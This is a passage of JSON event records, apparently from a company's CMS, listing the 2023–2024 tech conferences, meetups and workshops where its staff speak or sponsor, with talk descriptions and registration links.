conference."}],"markDefs":[{"_key":"d6436094943a","_type":"link","href":"https://qconlondon.com/presentation/mar2023/connecting-dots-api-design-distributed-world"}],"style":"normal"}],"endDate":"2023-03-29T16:00:00.000Z","location":"London","primaryCTA":{"_type":"link","externalUrl":"https://qconlondon.com/","title":"Join"},"region":"EMEA","startDate":"2023-03-27T07:00:00.000Z","talks":[{"_key":"51b20bc29503","_type":"talk","description":[{"_key":"f82584f8f81d","_type":"block","children":[{"_key":"416332113463","_type":"span","marks":[],"text":"Read the "},{"_key":"a5593e8d9dec","_type":"span","marks":["25c091cff8c8"],"text":"interview with Ben"},{"_key":"54a310028d58","_type":"span","marks":[],"text":" about his QCon session"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"25c091cff8c8","_type":"link","href":"https://qconlondon.com/presentation/mar2023/connecting-dots-api-design-distributed-world"}],"style":"normal"}],"speakers":[{"_key":"4999ed9dc65f","_ref":"7973a69c-4582-41de-906f-5f5fd31f4d9c","_type":"reference"}],"title":"Connecting the Dots: API Design in a Distributed World"}],"title":"QCon London","type":"conference"} {"__i18n_lang":"en","_createdAt":"2023-04-05T08:08:22Z","_id":"ecfe57c4-31ad-4dbc-a74f-bc2445f36255","_rev":"UCPTtiecS0npvQz8l72sug","_type":"event","_updatedAt":"2023-04-05T08:08:22Z","country":"SG","description":[{"_key":"748c35af30cc","_type":"block","children":[{"_key":"6872205b87650","_type":"span","marks":[],"text":"The AWS Summit ASEAN - LIVE in Singapore, is back in-person and Aiven is proud to be joining as a Silver sponsor! The show looks to bring the SEA cloud community together to connect, learn and build the future of technology."}],"markDefs":[],"style":"normal"}],"endDate":"2023-05-04T09:00:00.000Z","location":"Marina Bay Sands","primaryCTA":{"_type":"link","externalUrl":"https://aws.amazon.com/events/summits/asean/","title":"Grab yourself a ticket today"},"region":"APAC","startDate":"2023-05-04T01:30:00.000Z","title":"AWS Summit ASEAN","type":"event"} {"__i18n_lang":"en","_createdAt":"2023-09-20T08:58:22Z","_id":"ed880ddd-985d-49ce-987f-dca4f1113335","_rev":"rpwBSMa1i11HwZnbWq7Zin","_type":"event","_updatedAt":"2023-09-21T09:23:49Z","contentIsPage":false,"description":[{"_key":"f0109e1c1641","_type":"block","children":[{"_key":"29409aa655920","_type":"span","marks":[],"text":"Are you passionate about data, storage, and data streaming systems like Apache Kafka®? Tiered Storage, a feature of Apache Kafka 3.6 which allows the offloading of data to object storage in the cloud, is the game-changer you’ve been waiting for.\n\nWe've gathered industry experts, Aiven developers, and guest panelists to unpack everything you need to know about Kafka Tiered Storage."}],"markDefs":[],"style":"normal"}],"endDate":"2023-10-04T15:00:00.000Z","linkTitle":"Join the livestream","pageType":{"_type":"eventPage","calendlyWidget":{"height":"600px"},"iframeForm":{"iframeHeight":800},"replaceContent":false},"primaryCTA":{"_type":"link","externalUrl":"https://aiven.io/video/unlocking-the-future-of-kafka-with-tiered-storage","title":"Join the livestream"},"seo":{"_type":"metaData","metaDescription":"Tiered Storage, a feature of Apache Kafka 3.6 which allows the offloading of data to object storage in the cloud, is the game-changer you’ve been waiting for.","metaImage":{"_type":"mainImage","asset":{"_ref":"image-66915990e72f04448d13dfbd61106129b05ae0df-6000x3375-png","_type":"reference"}},"metaTitle":"Livestream | Unlocking the future of Kafka with Tiered Storage: Expert insights and what’s next"},"slug":{"_type":"slug","current":"/events/kafka-with-tiered-storage-livestream"},"startDate":"2023-10-04T14:00:00.000Z","title":"Unlocking the future of Kafka with Tiered Storage: Expert insights and what’s next","type":"livestream","virtualEvent":true} {"__i18n_lang":"en","_createdAt":"2023-07-07T09:28:04Z","_id":"edaa08c5-5ec1-4894-8b37-4e06c3d1d1c2","_rev":"ck602smrwFloVEh7NXIGGl","_type":"event","_updatedAt":"2023-10-07T16:30:11Z","country":"NO","description":[{"_key":"96026f95f21a","_type":"block","children":[{"_key":"2f4c36339beb","_type":"span","marks":[],"text":"Going to Javazone? Make sure you join Olena Kutsenko for her talk \"ClickHouse: what is behind the fastest columnar database?\""}],"markDefs":[],"style":"normal"}],"endDate":"2023-09-07T15:00:00.000Z","location":"Oslo","primaryCTA":{"_type":"link","externalUrl":"https://2023.javazone.no/","title":"Join"},"region":"EMEA","startDate":"2023-09-06T07:00:00.000Z","talks":[{"_key":"20e0a4199115","_type":"talk","description":[{"_key":"b7cf69169d0c","_type":"block","children":[{"_key":"e91066f6b6720","_type":"span","marks":[],"text":"If your challenge is analysing terabytes of data - this talk is for you. If you're a data scientist looking for tools to work with big data - this talk is for you. And, of course, if you are just curious about what makes ClickHouse crazy fast - this talk is for you as well. You can now watch it "},{"_key":"057b9275066d","_type":"span","marks":["d7bcc929e661"],"text":"here"},{"_key":"0de322e68e41","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"d7bcc929e661","_type":"link","href":"https://vimeo.com/861597565"}],"style":"normal"},{"_key":"f2199c916154","_type":"block","children":[{"_key":"ef4f5bfd2191","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"}],"speakers":[{"_key":"a8c226335186","_ref":"0751a33e-612e-404f-9e77-0b5da9ec746a","_type":"reference"}],"title":"ClickHouse: what is behind the fastest columnar database"}],"title":"Javazone","type":"conference"} {"__i18n_lang":"en","_createdAt":"2023-08-29T11:29:36Z","_id":"ef113d2d-c0b1-4a89-8382-c7bb90083e35","_rev":"1h5Wm5PSHuci3kB9XsZAzM","_type":"event","_updatedAt":"2023-10-27T14:55:00Z","country":"IN","description":[{"_key":"8ba9c4e7ad9e","_type":"block","children":[{"_key":"a57e550aebe5","_type":"span","marks":[],"text":"Join Floor Drees in Bangalore, for her session \"Scaling your work in the open - Tech is only the tip of the iceberg\". "}],"markDefs":[],"style":"normal"}],"endDate":"2023-10-21T15:00:00.000Z","location":"Bangalore","primaryCTA":{"_type":"link","externalUrl":"https://devopsdays.org/events/2023-bengaluru/welcome/","title":"Register"},"region":"APAC","startDate":"2023-10-20T07:00:00.000Z","talks":[{"_key":"2804358689b2","_type":"talk","description":[{"_key":"2e6f9f8e10b9","_type":"block","children":[{"_key":"d9614f419032","_type":"span","marks":[],"text":"In my Devopsdays Bengaluru keynote I shared the journey of migrating from a \"mono-Organisation\" on GitHub, to three Organisations with appropriate policies and connected to our IAM platform to organizer our work in and on open source. "}],"markDefs":[],"style":"normal"},{"_key":"8d63d742a38c","_type":"block","children":[{"_key":"1cf6ec50a4fc","_type":"span","marks":[],"text":"Recording will be available shortly."}],"markDefs":[],"style":"normal"}],"speakers":[{"_key":"504879befea3","_ref":"7406d8d2-3acb-4a35-9f9d-1c8ce934d395","_type":"reference"}],"title":"Scaling your work in the open - Tech is only the tip of the iceberg"}],"title":"Devopsdays Bengaluru","type":"conference"} {"__i18n_lang":"en","_createdAt":"2023-03-26T12:36:02Z","_id":"efca384b-ed35-44c9-abf6-0b673608368a","_rev":"FJE9FJz5NeK3Yo2P5PqZ3e","_type":"event","_updatedAt":"2023-06-15T10:39:07Z","country":"CA","description":[{"_key":"50a5aef22f27","_type":"block","children":[{"_key":"cab393d74456","_type":"span","marks":[],"text":"Join Dewan Ahmed and Matty Stratton and a whole lot of other Cloud Native folks at KubeHuddle in Toronto this May! "}],"markDefs":[],"style":"normal"}],"endDate":"2023-05-18T15:00:00.000Z","location":"Toronto","primaryCTA":{"_type":"link","externalUrl":"https://kubehuddle.com/2023/toronto/","title":"Attend"},"region":"AMER","startDate":"2023-05-17T07:00:00.000Z","talks":[{"_key":"4a52307a6902","_type":"talk","description":[{"_key":"6f69452b95ae","_type":"block","children":[{"_key":"47d75f6eea77","_type":"span","marks":[],"text":"Workshop on Terraform and Open Policy Agent, with Peter ONeill, who works on OPA. "}],"markDefs":[],"style":"normal"}],"speakers":[{"_key":"8910f3f032d3","_ref":"a4127c21-8608-4792-85d5-f565256a8f8a","_type":"reference"}],"title":"Enforce fine-grained policy control across your data infrastructure"}],"title":"KubeHuddle","type":"conference"} {"__i18n_lang":"en","_createdAt":"2023-05-08T08:35:25Z","_id":"f320cda1-014f-402c-9d40-3a7c14fda893","_rev":"IpnbDuG6FYGmZQ2TBBTWI7","_type":"event","_updatedAt":"2023-05-19T13:06:26Z","country":"GB","description":[{"_key":"e4b98fe0a009","_type":"block","children":[{"_key":"37b52ad1c7cc0","_type":"span","marks":[],"text":"AWS Summits are free events that bring the cloud computing community together to connect, collaborate, and learn about AWS. Visit us at booth S14 to see how you can leverage Aiven - the most powerful and complete open-source data solution"}],"markDefs":[],"style":"normal"}],"endDate":"2023-06-07T18:00:00.000Z","location":"ExCeL London","primaryCTA":{"_type":"link","externalUrl":"https://landing.aiven.io/event/meet-aiven-at-aws-london-23/","title":"Register"},"region":"EMEA","startDate":"2023-06-07T08:00:00.000Z","tags":[{"_key":"e82788f3373e","_ref":"010c153e-6cdd-435a-ac5a-7800b7380103","_type":"tag"}],"title":"AWS Summit London","type":"event"} {"__i18n_lang":"en","_createdAt":"2023-06-27T10:05:43Z","_id":"f344a442-0450-4f6a-b18f-f488224481c7","_rev":"61hKAW7KknaTboWXTHwvBV","_type":"event","_updatedAt":"2023-09-01T15:33:47Z","country":"US","description":[{"_key":"39ad7d477c27","_type":"block","children":[{"_key":"2673c4a22e700","_type":"span","marks":[],"text":"Community Director Angie Byron gave a session \"Lessons Learned From Scaling An Open Source Community By 10,000%\", about the Drupal ecosystem and how to apply best practices to your own community, big or small."}],"markDefs":[],"style":"normal"},{"_key":"b5917f9b6981","_type":"block","children":[{"_key":"f65aadfa6dfb","_type":"span","marks":["62dd9039b1a4"],"text":"Slides"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"62dd9039b1a4","_type":"link","href":"https://docs.google.com/presentation/d/1Fc4hdb8Y2mLqjsMa1QJDSpUPn5WSVspTordKsq8zQlA/edit?usp=sharing"}],"style":"normal"},{"_key":"ac7cfef3a2cf","_type":"block","children":[{"_key":"3eed55f3d61b","_type":"span","marks":["290a65dd28ac"],"text":"Recording"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"290a65dd28ac","_type":"link","href":"https://archive.org/details/fossy2023_Lessons_Learned_From_Scaling_A"}],"style":"normal"}],"endDate":"2023-07-16T15:00:00.000Z","location":"Portland, OR","primaryCTA":{"_type":"link","externalUrl":"https://2023.fossy.us/attend/tickets/","title":"Join"},"region":"AMER","startDate":"2023-07-13T07:00:00.000Z","talks":[{"_key":"4a1375d6c856","_type":"talk","description":[{"_key":"80cdbf1cf3e0","_type":"block","children":[{"_key":"79416f5f01b40","_type":"span","marks":[],"text":"Drupal—an open source CMS—turned 20 years old recently, and has grown from a small student hobby project to an enterprise-grade digital experience platform running ~3% of the Internet. This talk will explore the many lessons learned (most of them the hard way ;)) in navigating an international open source developer community through various scalability challenges."}],"markDefs":[],"style":"normal"}],"speakers":[{"_key":"229502cf2d01","_ref":"09143464-8f84-4bd5-abcc-b053c9031383","_type":"reference"}],"title":"Lessons Learned From Scaling An Open Source Community By 10,000%"}],"title":"FOSSY 2023","type":"event"} {"__i18n_lang":"en","_createdAt":"2023-11-06T11:53:36Z","_id":"f3afe18e-45ca-4dc9-8f7c-fdda703a8f5b","_rev":"gpV4rQ1RP6Oi5x5QrTNFFT","_type":"event","_updatedAt":"2023-11-06T12:07:24Z","contentIsPage":false,"description":[{"_key":"ac3e2e25e7fc","_type":"block","children":[{"_key":"bb5713d18f3c","_type":"span","marks":[],"text":"Join Muralidhar Basani, Staff Software Engineer at Aiven working on Klaw, for his session \"Simplifying Kafka Governance for Developers\"."}],"markDefs":[],"style":"normal"}],"endDate":"2023-11-30T11:54:00.000Z","linkTitle":"Register","pageType":{"_type":"eventPage","calendlyWidget":{"height":"600px"},"heroWithCountdown":false,"iframeForm":{"iframeHeight":800},"replaceContent":false},"primaryCTA":{"_type":"link","externalUrl":"https://www.conf42.com/devsecops2023","title":"Register"},"startDate":"2023-11-30T11:54:00.000Z","title":"Conf42 DevSecOps","type":"conference","virtualEvent":true} {"__i18n_lang":"en","_createdAt":"2024-02-06T08:20:09Z","_id":"f4826025-e173-4dc5-87c2-a82c54c91d71","_rev":"MkmgsAGxwT6Nx7jjOjMr7o","_type":"event","_updatedAt":"2024-02-06T08:20:09Z","contentIsPage":false,"country":"IT","description":[{"_key":"2f4d6b8a1f72","_type":"block","children":[{"_key":"fb81b6acfdaf","_type":"span","marks":[],"text":"Join Francesco Tisiot for his session \"Attacking (and Defending) Apache Kafka\", at CloudGen / CodeGen!"}],"markDefs":[],"style":"normal"}],"endDate":"2024-02-16T17:00:00.000Z","linkTitle":"Register","location":"Verona","pageType":{"_type":"eventPage","calendlyWidget":{"height":"600px"},"heroWithCountdown":false,"iframeForm":{"iframeHeight":800},"isCaptionShown":false,"replaceContent":false},"primaryCTA":{"_type":"link","externalUrl":"https://www.eventbrite.com.au/e/biglietti-codegen-2024-791108034427","title":"Attend"},"region":"EMEA","startDate":"2024-02-16T08:00:00.000Z","talks":[{"_key":"1373cc7e9375","_type":"talk","description":[{"_key":"0286e0feded1","_type":"block","children":[{"_key":"45c0e8a64d980","_type":"span","marks":[],"text":"Whether you’re directly managing Apache Kafka or it’s part of your data infrastructure, this talk will give you an idea of the security threats involved and how to be ready for them."}],"markDefs":[],"style":"normal"}],"speakers":[{"_key":"171845eca63a","_ref":"0ed302d4-35dd-4e1e-847e-03c9e41d2c10","_type":"reference"}],"title":"Attacking (and Defending) Apache Kafka"}],"title":"CloudGen","type":"conference"} {"__i18n_lang":"en","_createdAt":"2024-03-22T16:15:12Z","_id":"f4af42e0-7955-4ace-acf1-9716fa3c9e70","_rev":"FsdEUX6qPquRWP6V14wNcG","_type":"event","_updatedAt":"2024-03-22T16:15:12Z","contentIsPage":false,"country":"US","description":[{"_key":"807acb429322","_type":"block","children":[{"_key":"3cec735533d30","_type":"span","marks":[],"text":"We're excited to support PGDay Chicago, a non–profit, community–run conference series in the United States focused on PostgreSQL, as a Bronze Sponsor. "}],"markDefs":[],"style":"normal"}],"endDate":"2024-04-26T15:30:00.000Z","hideInEventPage":false,"linkTitle":"Register","location":"Chicago","pageType":{"_type":"eventPage","heroWithCountdown":false,"iframeForm":{"iframeHeight":800},"isCaptionShown":false,"replaceContent":false},"primaryCTA":{"_type":"link","externalUrl":"https://2024.pgdaychicago.org/","title":"RSVP"},"region":"AMER","startDate":"2024-04-26T06:30:00.000Z","title":"PGDay Chicago","type":"conference"} {"__i18n_lang":"en","_createdAt":"2024-01-08T10:04:47Z","_id":"9c71cbe4-c259-4079-b901-f2821cf3f241","_rev":"MXByqil29wvmyqa7TFqQvr","_type":"event","_updatedAt":"2024-03-15T13:52:48Z","contentIsPage":false,"country":"FR","description":[{"_key":"1d02ca57d599","_type":"block","children":[{"_key":"e722015b2b9c","_type":"span","marks":[],"text":"Join Aiven Solution Architect Dirk Krautschick for his session \"Sustainable Database Performance profiling in PostgreSQL\". Matt Cornillon and Floor Drees both have lightning talks scheduled."}],"markDefs":[],"style":"normal"}],"endDate":"2024-03-14T16:00:00.000Z","linkTitle":"Register","location":"Paris","pageType":{"_type":"eventPage","calendlyWidget":{"height":"600px"},"heroWithCountdown":false,"iframeForm":{"iframeHeight":800},"isCaptionShown":false,"replaceContent":false},"primaryCTA":{"_type":"link","externalUrl":"https://2024.pgday.paris/","title":"Attend"},"region":"EMEA","startDate":"2024-03-14T08:00:00.000Z","talks":[{"_key":"1cd29131fd7d","_type":"talk","description":[{"_key":"2c37857bba7b","_type":"block","children":[{"_key":"bc63c268444f0","_type":"span","marks":[],"text":"Open source software depends on the time friends and strangers on the internet are willing to invest into it. Is the Postgres project more sustainably set up than other projects, more likely to withstand the test of time? Let's worry about that for 5 minutes."}],"markDefs":[],"style":"normal"},{"_key":"0bf9a77d5c36","_type":"block","children":[{"_key":"a7cba7d13307","_type":"span","marks":["b6149746a2c0"],"text":"Slides"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"b6149746a2c0","_type":"link","href":"https://docs.google.com/presentation/d/1XYzHZHN-at1cTvtV9HvN4xlH1q-7QUynqJtFtOknmQI/edit?usp=sharing"}],"style":"normal"}],"speakers":[{"_key":"dc662bc98641","_ref":"7406d8d2-3acb-4a35-9f9d-1c8ce934d395","_type":"reference"}],"title":"That's a nice Postgres you have there, would be a shame if you were to lose it"}],"title":"PGDay Paris","type":"conference"} {"__i18n_lang":"en","_createdAt":"2024-01-08T08:57:48Z","_id":"7852cf20-7d6f-47f9-aefe-20665af18f1a","_rev":"MXByqil29wvmyqa7TFqKps","_type":"event","_updatedAt":"2024-03-15T13:51:50Z","contentIsPage":false,"country":"IN","description":[{"_key":"943d6e7bf887","_type":"block","children":[{"_key":"ce9ea2b89430","_type":"span","marks":[],"text":"Join Floor Drees for her session \"Finding PostgreSQL’s fit in the AI space\"."}],"markDefs":[],"style":"normal"}],"endDate":"2024-03-01T16:00:00.000Z","linkTitle":"Register","location":"Bengaluru","pageType":{"_type":"eventPage","calendlyWidget":{"height":"600px"},"heroWithCountdown":false,"iframeForm":{"iframeHeight":800},"isCaptionShown":false,"replaceContent":false},"primaryCTA":{"_type":"link","externalUrl":"https://pgconf.in/conferences/pgconfin2024","title":"Register"},"region":"APAC","startDate":"2024-02-28T08:00:00.000Z","talks":[{"_key":"c6a2a2b22f99","_type":"talk","description":[{"_key":"1a91ec75249b","_type":"block","children":[{"_key":"e027ae75f7fa0","_type":"span","marks":[],"text":"As AI continues to become a bigger part of every company, this session will help you to make sure PostgreSQL and your implementations remain relevant on this journey."}],"markDefs":[],"style":"normal"},{"_key":"3ade2391d869","_type":"block","children":[{"_key":"4c636528f5d2","_type":"span","marks":["cb12811e6d24"],"text":"Slides"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"cb12811e6d24","_type":"link","href":"https://docs.google.com/presentation/d/1GPStEXkCQxz2CYGPRLtjpbmKyOyQQilycdtwZTdPJd0/edit?usp=sharing"}],"style":"normal"}],"speakers":[{"_key":"51c1e6b31fde","_ref":"7406d8d2-3acb-4a35-9f9d-1c8ce934d395","_type":"reference"}],"title":"Finding PostgreSQL’s fit in the AI space"}],"title":"PGConf India","type":"conference"} {"__i18n_lang":"en","_createdAt":"2024-02-06T08:59:20Z","_id":"fd127029-9605-4708-8a71-3cb1465b3f34","_rev":"aqN8LslQ3cZYmtCXJ0HfAS","_type":"event","_updatedAt":"2024-02-12T09:27:50Z","contentIsPage":false,"country":"FR","description":[{"_key":"102daaf68f68","_type":"block","children":[{"_key":"750edc6b3ec60","_type":"span","marks":[],"text":"Join us at Google's offices for talks by Florent Ramiere, Head of Gateway at Conduktor, and Amine Saboni, Data Engineer at DiliTrust."}],"markDefs":[],"style":"normal"}],"endDate":"2024-03-06T20:00:00.000Z","linkTitle":"Register","location":"Paris","pageType":{"_type":"eventPage","calendlyWidget":{"height":"600px"},"heroWithCountdown":false,"iframeForm":{"iframeHeight":800},"isCaptionShown":false,"replaceContent":false},"primaryCTA":{"_type":"link","externalUrl":"https://www.meetup.com/paris-open-source-data-infrastructure-meetup/events/299012015/","title":"RSVP"},"region":"EMEA","startDate":"2024-03-06T17:00:00.000Z","title":"Paris OSDI","type":"meetup"} {"__i18n_lang":"en","_createdAt":"2023-11-30T09:22:06Z","_id":"ffb82224-de72-4d38-925f-414e600370b8","_rev":"00HkATqwml6aoQnrO67Trp","_type":"event","_updatedAt":"2023-11-30T09:22:06Z","contentIsPage":false,"country":"DE","description":[{"_key":"ad070cac4034","_type":"block","children":[{"_key":"6d3257721d6a0","_type":"span","marks":[],"text":"Join us at the 4.screen offices, for talks by Patrick Gebhardt, Expert DevOps Engineer at Conrad, and Ahmed Sobeh, Engineering Manager at Aiven."}],"markDefs":[],"style":"normal"}],"endDate":"2024-03-13T20:00:00.000Z","linkTitle":"Register","location":"Munich","pageType":{"_type":"eventPage","calendlyWidget":{"height":"600px"},"heroWithCountdown":false,"iframeForm":{"iframeHeight":800},"isCaptionShown":false,"replaceContent":false},"primaryCTA":{"_type":"link","externalUrl":"https://www.meetup.com/munich-open-source-data-infrastructure-meetup/events/297395200/","title":"RSVP"},"region":"EMEA","startDate":"2024-03-13T17:30:00.000Z","title":"Munich OSDI","type":"meetup"} {"__i18n_lang":"en","_createdAt":"2024-03-15T13:41:20Z","_id":"1a23bc69-d52b-425b-86f9-cecd73d05489","_rev":"2QvLnXP36WAnQ13A40F2Hw","_type":"event","_updatedAt":"2024-03-18T07:48:03Z","contentIsPage":false,"country":"SK","description":[{"_key":"7c288c011873","_type":"block","children":[{"_key":"92089714e54d","_type":"span","marks":[],"text":"Join OSPO Engineering Manager Ahmed Sobeh, Community Program Manager Floor Drees, and Open Source Software Engineer Maxim Muzafarov for their talks in Bratislava (at the \"new ApacheCon\"). "}],"markDefs":[],"style":"normal"}],"endDate":"2024-06-05T15:00:00.000Z","hideInEventPage":false,"linkTitle":"Register","location":"Bratislava","pageType":{"_type":"eventPage","heroWithCountdown":false,"iframeForm":{"iframeHeight":800},"isCaptionShown":false,"replaceContent":false},"primaryCTA":{"_type":"link","externalUrl":"https://eu.communityovercode.org/","title":"Join"},"region":"EMEA","startDate":"2024-06-03T07:00:00.000Z","talks":[{"_key":"a792bbdaab55","_type":"talk","description":[{"_key":"1e510354cefa","_type":"block","children":[{"_key":"372e49f63a120","_type":"span","marks":[],"text":"This panel with Ana Jiménez Santamaría, Natali Vlatko, and Mirko Boehm will discuss how EU legislation affects the daily work of open source operations (upstream contribution to open source projects, open source compliance, etc) focusing on how these laws impact open source professionals working in OSPOs or similar entities."}],"markDefs":[],"style":"normal"}],"speakers":[{"_key":"936bc67ca970","_ref":"7406d8d2-3acb-4a35-9f9d-1c8ce934d395","_type":"reference"}],"title":"EU policies and regulations affecting open source specialists working in OSPOs"}],"title":"Community over Code","type":"conference"} {"__i18n_lang":"en","_createdAt":"2024-03-18T14:05:11Z","_id":"bb80d150-177f-4b39-94f8-7320e247eeea","_rev":"Rv4ZbUzDYr3eOQfZp54txd","_type":"event","_updatedAt":"2024-05-11T10:07:56Z","contentIsPage":false,"country":"US","description":[{"_key":"77ee19b0d17a","_type":"block","children":[{"_key":"2a8c3ada82d90","_type":"span","marks":[],"text":"At PyCon US 2024 find pre-conference tutorials and sponsor presentations, 90+ of the Python community’s best talks, posters on display, a lively Expo Hall filled with our incredible Sponsors’ booths, and lightning talks. Our own Jay Miller will do one of the keynote presentations."}],"markDefs":[],"style":"normal"}],"endDate":"2024-05-19T19:00:00.000Z","hideInEventPage":false,"linkTitle":"Register","location":"David L. Lawrence Convention Center, Pittsburgh, Pennsylvania","pageType":{"_type":"eventPage","heroWithCountdown":false,"iframeForm":{"iframeHeight":800},"isCaptionShown":false,"replaceContent":false},"primaryCTA":{"_type":"link","externalUrl":"https://us.pycon.org/2024/","title":"Learn More"},"region":"AMER","startDate":"2024-05-16T13:00:00.000Z","talks":[{"_key":"432f0d3d048b","_type":"talk","description":[{"_key":"f33b0e090dfa","_type":"block","children":[{"_key":"0b4da2ce10c6","_type":"span","marks":[],"text":"Jay was invited to give a Keynote focused on the building and development of Black Python Devs, the online global community built to help the international community of Black Python developers discover and participate in more efforts and initiatives."}],"markDefs":[],"style":"normal"}],"speakers":[{"_key":"e4c2974d9386","_ref":"4ab857b2-5a96-4d94-b58b-bbe9cd0d8bc0","_type":"reference"}],"title":"Keynote from Jay Miller"}],"title":"PyCon US","type":"conference"} {"__i18n_lang":"en","_createdAt":"2024-03-20T07:37:14Z","_id":"463dea61-b974-4597-97a0-ce07d57ff544","_rev":"o6EKmUZPKElQbhROBwQe8w","_type":"event","_updatedAt":"2024-04-08T15:09:46Z","contentIsPage":false,"description":[{"_key":"61efdf6eebb5","_type":"block","children":[{"_key":"171c5cd1c8b90","_type":"span","marks":[],"text":"In this online workshop you'll learn the basic components of Apache Kafka and how to get started with data streaming using Python. We'll also give a brief introduction to transforming your data using Apache Flink."}],"markDefs":[],"style":"normal"}],"endDate":"2024-04-10T18:00:00.000Z","hideInEventPage":false,"image":{"_type":"mainImage","asset":{"_ref":"image-6d65358c2ad6d19bd3a6d026e15df81961bebb67-1200x628-png","_type":"reference"}},"linkTitle":"Register","location":"Online","pageType":{"_type":"eventPage","heroWithCountdown":false,"iframeForm":{"iframeHeight":800},"isCaptionShown":false,"replaceContent":false},"primaryCTA":{"_type":"link","internalLink":{"_ref":"dd882356-1dca-441e-9af9-e1fe8f191102","_type":"reference"},"title":"Register"},"startDate":"2024-04-10T16:00:00.000Z","title":"Learn Apache Kafka with Python","type":"workshop","virtualEvent":true} {"__i18n_lang":"en","_createdAt":"2024-03-28T11:37:01Z","_id":"b78942f9-8c06-40a2-b105-e8735f6d4e87","_rev":"67bMqYmOBHw05z0ZRwjLLn","_type":"event","_updatedAt":"2024-03-28T11:37:01Z","contentIsPage":false,"country":"US","description":[{"_key":"611c78a25f03","_type":"block","children":[{"_key":"72129ac62327","_type":"span","marks":[],"text":"Our Community Director Angie Byron joins an DevRel Community volunteers panel, with Tabatha DiDomenico (G-Research), Katherine Druckman (Intel), and Lori Lorusso (Open Source Community Advocate)."}],"markDefs":[],"style":"normal"}],"endDate":"2024-04-15T15:00:00.000Z","hideInEventPage":false,"linkTitle":"Register","location":"Seattle","pageType":{"_type":"eventPage","heroWithCountdown":false,"iframeForm":{"iframeHeight":800},"isCaptionShown":false,"replaceContent":false},"primaryCTA":{"_type":"link","externalUrl":"https://events.linuxfoundation.org/soss-community-day-north-america/","title":"Join"},"region":"AMER","startDate":"2024-04-15T07:00:00.000Z","title":"SOSS Community Day","type":"conference"} {"__i18n_lang":"en","_createdAt":"2024-04-04T09:09:57Z","_id":"328c8911-11f3-45b2-a65c-0aa7ed5d82de","_rev":"CWoXqYNr7QRdiSPoRqPrnt","_type":"event","_updatedAt":"2024-04-04T09:13:29Z","contentIsPage":false,"country":"BE","description":[{"_key":"7cd9fef05c80","_type":"block","children":[{"_key":"033e81cbaa93","_type":"span","marks":[],"text":"Join Dirk Krautschick and Matt Cornillon for their sessions, \"Why PostgreSQL people should really care about Kafka and Debezium?\", and \"How I found my Pokémon cards thanks to Postgres: an AI journey\", respectively."}],"markDefs":[],"style":"normal"}],"endDate":"2024-05-07T15:00:00.000Z","hideInEventPage":false,"linkTitle":"Register","location":"Haasrode","pageType":{"_type":"eventPage","heroWithCountdown":false,"iframeForm":{"iframeHeight":800},"isCaptionShown":false,"replaceContent":false},"primaryCTA":{"_type":"link","externalUrl":"http://pgconf.be/","title":"Join"},"region":"EMEA","startDate":"2024-05-07T07:00:00.000Z","title":"PGConf.BE","type":"conference"} {"__i18n_lang":"en","_createdAt":"2024-04-04T09:20:01Z","_id":"69c422d3-614d-42a9-b888-9b7931ac9ae3","_rev":"CWoXqYNr7QRdiSPoRqQre1","_type":"event","_updatedAt":"2024-04-04T10:11:04Z","contentIsPage":false,"country":"DE","description":[{"_key":"60a50f93ea1e","_type":"block","children":[{"_key":"7eaeee7206ba","_type":"span","marks":[],"text":"Join Olivier Huber, Senior Partner Solution Architect, and Josh Reed, Senior Software Engineer in Testing, for their sessions at Berlin Buzzwords."}],"markDefs":[],"style":"normal"}],"endDate":"2024-06-11T15:00:00.000Z","hideInEventPage":false,"linkTitle":"Register","location":"Berlin","pageType":{"_type":"eventPage","heroWithCountdown":false,"iframeForm":{"iframeHeight":800},"isCaptionShown":false,"replaceContent":false},"primaryCTA":{"_type":"link","externalUrl":"https://2024.berlinbuzzwords.de/","title":"Attend"},"region":"EMEA","startDate":"2024-06-09T07:00:00.000Z","title":"Berlin Buzzwords","type":"conference"} {"__i18n_lang":"en","_createdAt":"2024-04-17T08:15:16Z","_id":"7b8a81c2-ec0f-4467-84d1-fc16d3ed7b7a","_rev":"gISMlFyvjb1wfLPmZa1SZd","_type":"event","_updatedAt":"2024-04-17T08:44:06Z","contentIsPage":false,"description":[{"_key":"42d9e3899641","_type":"block","children":[{"_key":"f3064e6b9db20","_type":"span","marks":[],"text":"Learn how to prepare your existing content for AI using LangChain and store it in OpenSearch®, so it can be used with an LLM in the Retrieval Augmented Generation (RAG) pattern."}],"markDefs":[],"style":"normal"},{"_key":"87b73a258755","_type":"block","children":[{"_key":"0ca4fe07d5880","_type":"span","marks":[],"text":"This workshop is 1,5 hours long."}],"markDefs":[],"style":"normal"}],"endDate":"2024-05-08T17:30:00.000Z","hideInEventPage":false,"image":{"_type":"mainImage","alt":"Preparing and Using Data for AI with LangChain and OpenSearch","asset":{"_ref":"image-55af2a3fc653799bf33ba355689c4daac09e9ec7-1200x628-png","_type":"reference"}},"linkTitle":"Register","pageType":{"_type":"eventPage","heroWithCountdown":false,"iframeForm":{"iframeHeight":800},"isCaptionShown":false,"replaceContent":false},"primaryCTA":{"_type":"link","internalLink":{"_ref":"69d06cac-e840-49f9-a254-7c406c63f1de","_type":"reference"},"title":"Register"},"startDate":"2024-05-08T16:00:00.000Z","title":"Preparing and Using Data for AI with LangChain and OpenSearch®","type":"workshop","virtualEvent":true} {"__i18n_lang":"en","_createdAt":"2024-04-18T09:35:08Z","_id":"30b85680-e991-49ee-a886-ad5d68e9a1e1","_rev":"K1w697WALr3R6LR2gnW3vR","_type":"event","_updatedAt":"2024-04-18T09:35:08Z","contentIsPage":false,"country":"IT","description":[{"_key":"4d14dc76741e","_type":"block","children":[{"_key":"c81f9c8523eb","_type":"span","marks":[],"text":"Join us May 22 for an Open Source Data Infrastructure Meetup at the YoRoom Coworkingspace in 